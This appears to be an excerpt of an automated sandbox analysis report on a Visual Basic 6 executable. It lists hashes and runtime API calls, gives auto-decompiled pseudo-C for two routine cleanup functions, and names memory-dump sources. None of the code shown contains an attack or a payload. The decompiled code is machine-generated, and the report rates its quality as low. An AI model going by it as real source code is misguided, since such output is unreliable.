        • Opcode ID: 1f165d98e7bca172ee77bba028c82e463cdecbbf14c47481fb004aa54167e22f
        • Instruction ID: cd679dbe1a8832d8fa8b4500428b7a3f40f50843c7c5652c96a6178baf1b9ce7
        • Opcode Fuzzy Hash: 1f165d98e7bca172ee77bba028c82e463cdecbbf14c47481fb004aa54167e22f
        • Instruction Fuzzy Hash: C411E330900209AFCB04EF95D886BDDBBB4EF44749F10846AF505BB1A1D7785A45CF98
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 45%
        			E0040BA91(void* __ebx, void* __edi, void* __esi, signed int* _a24) {
        				intOrPtr _v12;
        				intOrPtr _v16;
        				long long _v48;
        				char _v56;
        				char _v72;
        				intOrPtr _v112;
        				char _v120;
        				short _v124;
        				short _t21;
        				char* _t23;
        				void* _t29;
        				intOrPtr _t30;
        
        				_t30 = _t29 - 0xc;
        				_push(0x401196);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t30;
        				_push(0x6c);
        				L00401190();
        				_v16 = _t30;
        				_v12 = 0x401128;
        				 *_a24 =  *_a24 & 0x00000000;
        				_v48 =  *0x401120;
        				_v56 = 5;
        				_push(0);
        				_push( &_v56);
        				_push( &_v72);
        				L00401232();
        				_v112 = 1;
        				_v120 = 0x8002;
        				_push( &_v72);
        				_t21 =  &_v120;
        				_push(_t21);
        				L004012A4();
        				_v124 = _t21;
        				_push( &_v72);
        				_t23 =  &_v56;
        				_push(_t23);
        				_push(2);
        				L00401292();
        				asm("wait");
        				_push(E0040BB47);
        				return _t23;
        			}















        0x0040ba94
        0x0040ba97
        0x0040baa2
        0x0040baa3
        0x0040baaa
        0x0040baad
        0x0040bab5
        0x0040bab8
        0x0040bac2
        0x0040bacb
        0x0040bace
        0x0040bad5
        0x0040bada
        0x0040bade
        0x0040badf
        0x0040bae4
        0x0040baeb
        0x0040baf5
        0x0040baf6
        0x0040baf9
        0x0040bafa
        0x0040baff
        0x0040bb06
        0x0040bb07
        0x0040bb0a
        0x0040bb0b
        0x0040bb0d
        0x0040bb15
        0x0040bb16
        0x00000000

        APIs
        • __vbaChkstk.MSVBVM60(?,00401196), ref: 0040BAAD
        • #714.MSVBVM60(?,00000005,00000000), ref: 0040BADF
        • __vbaVarTstNe.MSVBVM60(00008002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040BAFA
        • __vbaFreeVarList.MSVBVM60(00000002,00000005,?,00008002,?), ref: 0040BB0D
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$#714ChkstkFreeList
        • String ID:
        • API String ID: 1770595079-0
        • Opcode ID: 8eb0169684c2d7745d82002fb15c5c4a6a378207967b26adc2767b3d768c6881
        • Instruction ID: b95919dbd63981a1942d03dc1a75a93d7e73d23f6695a5185dbae89d435006e7
        • Opcode Fuzzy Hash: 8eb0169684c2d7745d82002fb15c5c4a6a378207967b26adc2767b3d768c6881
        • Instruction Fuzzy Hash: 7A012DB1800208ABDB01DFD1D946BDEB7BCFB08704F20406BF600BB191D77866148B59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 21%
        			E0040B8A7() {
        				void* _t15;
        				void* _t17;
        
        				L00401268();
        				_push(_t17 - 0x64);
        				_push(_t17 - 0x60);
        				_push(_t17 - 0x5c);
        				_push(3);
        				L00401262();
        				_push(_t17 - 0x94);
        				_push(_t17 - 0x84);
        				_push(_t17 - 0x74);
        				_push(3);
        				L00401292();
        				_t15 = _t17 - 0x98;
        				_push(_t15);
        				_push(0);
        				L00401250();
        				return _t15;
        			}





        0x0040b8aa
        0x0040b8b2
        0x0040b8b6
        0x0040b8ba
        0x0040b8bb
        0x0040b8bd
        0x0040b8cb
        0x0040b8d2
        0x0040b8d6
        0x0040b8d7
        0x0040b8d9
        0x0040b8e1
        0x0040b8e7
        0x0040b8e8
        0x0040b8ea
        0x0040b8ef

        APIs
        • __vbaFreeStr.MSVBVM60 ref: 0040B8AA
        • __vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 0040B8BD
        • __vbaFreeVarList.MSVBVM60(00000003,?,?,?), ref: 0040B8D9
        • __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0040B8EA
        Memory Dump Source
        • Source File: 00000000.00000002.744235015.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.744212184.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.744270244.000000000040D000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.744287003.000000000040F000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$List$Destruct
        • String ID:
        • API String ID: 3099906924-0
        • Opcode ID: 8c40fcf61188711e6e6a58d68d51d61541cc6fcbacfef99f27414e51fef11b1e
        • Instruction ID: 964588bb2faed70f4d7e614628e25e8f72b33493092df665ad207290d4404638
        • Opcode Fuzzy Hash: 8c40fcf61188711e6e6a58d68d51d61541cc6fcbacfef99f27414e51fef11b1e
        • Instruction Fuzzy Hash: 35E0757284411CAAEB11EAD1CD41FEE737CAF14304F4041ABB609F6096EA345B458B65
        Uniqueness

        Uniqueness Score: -1.00%